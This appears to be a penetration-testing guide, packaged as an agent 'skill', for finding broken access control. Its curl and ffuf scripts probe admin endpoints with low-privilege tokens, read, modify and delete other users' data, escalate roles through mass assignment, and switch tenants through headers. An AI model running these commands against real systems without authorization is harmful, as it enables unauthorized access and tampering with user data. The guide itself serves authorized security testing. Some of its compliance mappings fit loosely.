Testing for Broken Access Control
When to Use
- During authorized penetration tests as the primary assessment for OWASP A01:2021 - Broken Access Control
- When evaluating role-based access control (RBAC) implementations across all application endpoints
- For testing multi-tenant applications where users in one organization should not access another's data
- When assessing API endpoints for missing or inconsistent authorization checks
- During security audits where privilege escalation and unauthorized access are primary concerns
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: With Authorize extension for automated access control testing
- Multiple test accounts: Accounts at each role level (admin, manager, user, guest)
- Application role matrix: Documentation of what each role should and should not access
- curl/httpie: For manual endpoint testing with different authentication contexts
- ffuf: For discovering hidden endpoints that may lack access controls
Workflow
Step 1: Map All Endpoints and Create Access Control Matrix
Document every endpoint and the expected access level for each role.
# Extract all endpoints from Burp Site Map
# Target > Site Map > Right-click > Copy URLs in this host
# Build a matrix of endpoints vs roles:
# | Endpoint | Admin | Manager | User | Guest |
# |-----------------------|-------|---------|------|-------|
# | GET /admin/dashboard | Allow | Deny | Deny | Deny |
# | GET /api/users | Allow | Allow | Deny | Deny |
# | PUT /api/users/{id} | Allow | Deny | Own | Deny |
# | DELETE /api/posts/{id} | Allow | Allow | Own | Deny |
# Discover hidden endpoints
ffuf -u "https://target.example.com/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,301,302,403 -fc 404 \
-H "Authorization: Bearer $USER_TOKEN" \
-o endpoints.json -of json
# API endpoint discovery
ffuf -u "https://target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,401,403,405 -fc 404 \
-H "Authorization: Bearer $USER_TOKEN"
Step 2: Configure Automated Access Control Testing
Set up Burp Authorize extension for parallel role-based testing.
# Install Authorize extension:
# Burp > Extender > BApp Store > Search "Authorize" > Install
# Configuration for three-tier testing:
# 1. Browse the application as Admin (capture all requests)
# 2. In Authorize tab:
# a. Add Regular User's session token in "Replace cookies/headers"
# b. Optionally add a second row for Unauthenticated (no auth header)
# Example header replacement setup:
# Row 1 (Low-privilege user):
# Cookie: session=low_priv_user_session
# Authorization: Bearer low_priv_token
#
# Row 2 (Unauthenticated):
# [Empty - removes all auth headers]
# Enable interception in Authorize:
# - Check "Intercept requests from Proxy"
# - Check "Intercept requests from Repeater"
# Authorize shows results as:
# Green = Properly restricted (different response for different user)
# Red = POTENTIALLY VULNERABLE (same response regardless of role)
# Orange = Uncertain (needs manual verification)
Step 3: Test Vertical Privilege Escalation
Attempt to access higher-privilege functionality with lower-privilege accounts.
# Collect tokens for each role
ADMIN_TOKEN="Bearer admin_jwt_here"
MANAGER_TOKEN="Bearer manager_jwt_here"
USER_TOKEN="Bearer user_jwt_here"
# Test admin endpoints with user token
ADMIN_ENDPOINTS=(
"GET /admin/dashboard"
"GET /admin/users"
"POST /admin/users/create"
"PUT /admin/settings"
"DELETE /admin/users/5"
"GET /admin/logs"
"GET /admin/reports/export"
"POST /admin/backup"
)
for entry in "${ADMIN_ENDPOINTS[@]}"; do
method=$(echo "$entry" | cut -d' ' -f1)
endpoint=$(echo "$entry" | cut -d' ' -f2)
echo -n "$method $endpoint (as user): "
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $USER_TOKEN" \
-H "Content-Type: application/json" \
"https://target.example.com$endpoint")
if [ "$status" == "200" ] || [ "$status" == "201" ]; then
echo "VULNERABLE ($status)"
else
echo "OK ($status)"
fi
done
# Test with method override headers
curl -s -o /dev/null -w "%{http_code}" \
-X POST \
-H "Authorization: $USER_TOKEN" \
-H "X-HTTP-Method-Override: DELETE" \
"https://target.example.com/admin/users/5"
# Test with different HTTP methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo -n "$method /admin/users: "
curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $USER_TOKEN" \
"https://target.example.com/admin/users"
echo
done
Step 4: Test Horizontal Privilege Escalation
Verify that users cannot access resources belonging to other users at the same privilege level.
# User A (ID: 101) testing access to User B's (ID: 102) resources
USER_A_TOKEN="Bearer user_a_jwt"
RESOURCES=(
"/api/users/102/profile"
"/api/users/102/orders"
"/api/users/102/messages"
"/api/users/102/documents"
"/api/users/102/settings"
"/api/users/102/payment-methods"
)
for resource in "${RESOURCES[@]}"; do
echo -n "GET $resource: "
response=$(curl -s -w "\n%{http_code}" \
-H "Authorization: $USER_A_TOKEN" \
"https://target.example.com$resource")
status=$(echo "$response" | tail -1)
body_len=$(echo "$response" | head -n -1 | wc -c)
if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; then
echo "VULNERABLE ($status, $body_len bytes)"
else
echo "OK ($status)"
fi
done
# Test write operations across users
curl -s -X PUT \
-H "Authorization: $USER_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked","email":"hacked@evil.com"}' \
"https://target.example.com/api/users/102/profile" -w "%{http_code}"
# Test delete operations
curl -s -X DELETE \
-H "Authorization: $USER_A_TOKEN" \
"https://target.example.com/api/users/102/documents/1" -w "%{http_code}"
Step 5: Test Function-Level Access Control
Verify that specific functions enforce authorization properly.
# Test unauthenticated access to protected endpoints
PROTECTED_ENDPOINTS=(
"/api/user/profile"
"/api/transactions"
"/api/settings"
"/admin/dashboard"
"/api/export/users"
)
for endpoint in "${PROTECTED_ENDPOINTS[@]}"; do
echo -n "No auth: GET $endpoint: "
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com$endpoint"
echo
done
# Test with expired/invalid tokens
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer invalid_token_here" \
"https://target.example.com/api/user/profile"
# Test role manipulation in JWT claims
# If JWT contains role claim, try modifying it
# (requires JWT vulnerability - see JWT testing skill)
# Test parameter-based role escalation
curl -s -X PUT \
-H "Authorization: $USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \
"https://target.example.com/api/users/101/profile"
# Test registration with elevated role
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"email":"new@test.com","password":"Test123!","role":"admin"}' \
"https://target.example.com/api/auth/register"
Step 6: Test Multi-Tenant Isolation
Verify that tenant boundaries are enforced in multi-tenant applications.
# User in Tenant A testing access to Tenant B's resources
TENANT_A_TOKEN="Bearer tenant_a_user_jwt"
# Direct tenant resource access
curl -s -H "Authorization: $TENANT_A_TOKEN" \
"https://target.example.com/api/organizations/tenant-b-id/users" | jq .
curl -s -H "Authorization: $TENANT_A_TOKEN" \
"https://target.example.com/api/organizations/tenant-b-id/settings" | jq .
# Test tenant switching via header
curl -s -H "Authorization: $TENANT_A_TOKEN" \
-H "X-Tenant-ID: tenant-b-id" \
"https://target.example.com/api/users" | jq .
# Test tenant ID in request body
curl -s -X POST \
-H "Authorization: $TENANT_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \
"https://target.example.com/api/reports/custom"
# Enumerate tenant IDs
ffuf -u "https://target.example.com/api/organizations/FUZZ" \
-w <(seq 1 100) \
-H "Authorization: $TENANT_A_TOKEN" \
-mc 200 -t 10 -rate 20
Key Concepts
| Concept | Description |
|---|---|
| Vertical Privilege Escalation | Lower-privilege user accessing higher-privilege functionality (user -> admin) |
| Horizontal Privilege Escalation | User accessing another user's resources at the same privilege level |
| Function-Level Access Control | Authorization checks on specific features/functions regardless of URL |
| RBAC | Role-Based Access Control - permissions assigned to roles, roles assigned to users |
| ABAC | Attribute-Based Access Control - permissions based on user/resource/environment attributes |
| Multi-Tenant Isolation | Ensuring data and functionality separation between different organizations/tenants |
| Insecure Direct Object Reference | Accessing objects by manipulating identifiers without authorization checks |
| Missing Function-Level Check | Endpoint exists but does not verify the caller has permission to invoke it |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Request interception and role-based testing |
| Authorize (Burp Extension) | Automated access control testing across sessions |
| AutoRepeater (Burp Extension) | Automatically replays requests with different auth contexts |
| Postman | API testing with environment switching between roles |
| ffuf | Discovering hidden endpoints that may lack access controls |
| OWASP ZAP | Access control testing with context-aware scanning |
Common Scenarios
Scenario 1: Admin Panel Without Auth Check
The /admin/dashboard endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks.
Scenario 2: API Endpoint Missing Authorization
The DELETE /api/users/{id} endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account.
Scenario 3: Tenant Data Leakage
A SaaS application uses tenant_id in API request headers. Changing the X-Tenant-ID header to another tenant's ID returns their data, bypassing tenant isolation.
Scenario 4: Mass Assignment Role Escalation
The user profile update endpoint at PUT /api/users/{id} accepts a role field in the JSON body. Submitting "role":"admin" alongside a profile update elevates the user to administrator.
Output Format
## Broken Access Control Assessment Report
**Target**: target.example.com
**Assessment Date**: 2024-01-15
**OWASP Category**: A01:2021 - Broken Access Control
### Access Control Matrix Results
| Endpoint | Admin | Manager | User | Guest | Expected | Actual |
|----------|-------|---------|------|-------|----------|--------|
| GET /admin/dashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |
| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |
| GET /api/users/other/profile | 200 | 200 | 200 | 401 | Own only | FAIL |
| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | Own only | FAIL |
| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |
### Critical Findings
1. **Vertical Escalation**: Regular users can access /admin/* endpoints
2. **Horizontal IDOR**: Users can read/modify other users' profiles
3. **Tenant Isolation**: Cross-tenant data access via header manipulation
4. **Mass Assignment**: Role escalation via profile update endpoint
### Impact
- Complete administrative access for any authenticated user
- Full user data access across all accounts (15,000+ users)
- Cross-tenant data breach affecting 200+ organizations
- Account takeover via profile modification
### Recommendation
1. Implement server-side authorization checks on every endpoint
2. Use a centralized authorization middleware/framework
3. Enforce object-level authorization (verify ownership before access)
4. Validate tenant context server-side, never from client headers
5. Use allowlists for mass assignment (only permit expected fields)
6. Implement audit logging for all access control decisions
Verification Criteria
Confirm successful execution by validating:
- [ ] All prerequisite tools and access requirements are satisfied
- [ ] Each workflow step completed without errors
- [ ] Output matches expected format and contains expected data
- [ ] No security warnings or misconfigurations detected
- [ ] Results are documented and evidence is preserved for audit
Compliance Framework Mapping
This skill supports compliance evidence collection across multiple frameworks:
- SOC 2: CC6.1 (Logical Access), CC8.1 (Change Management)
- ISO 27001: A.14.2 (Secure Development), A.14.1 (Security Requirements)
- NIST 800-53: SA-11 (Developer Testing), SI-10 (Input Validation), SC-18 (Mobile Code)
- OWASP LLM Top 10: LLM01 (Prompt Injection), LLM02 (Insecure Output)
Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.
Deploying This Skill with Claw GRC
Agent Execution
Register this skill with your Claw GRC agent for automated execution:
# Install via CLI
npx claw-grc skills add testing-for-broken-access-control
# Or load dynamically via MCP
grc.load_skill("testing-for-broken-access-control")
Audit Trail Integration
When executed through Claw GRC, every step of this skill generates tamper-evident audit records:
- SHA-256 chain hashing ensures no step can be modified after execution
- Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
- Trust score impact — successful execution increases your agent's trust score
Continuous Compliance
Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.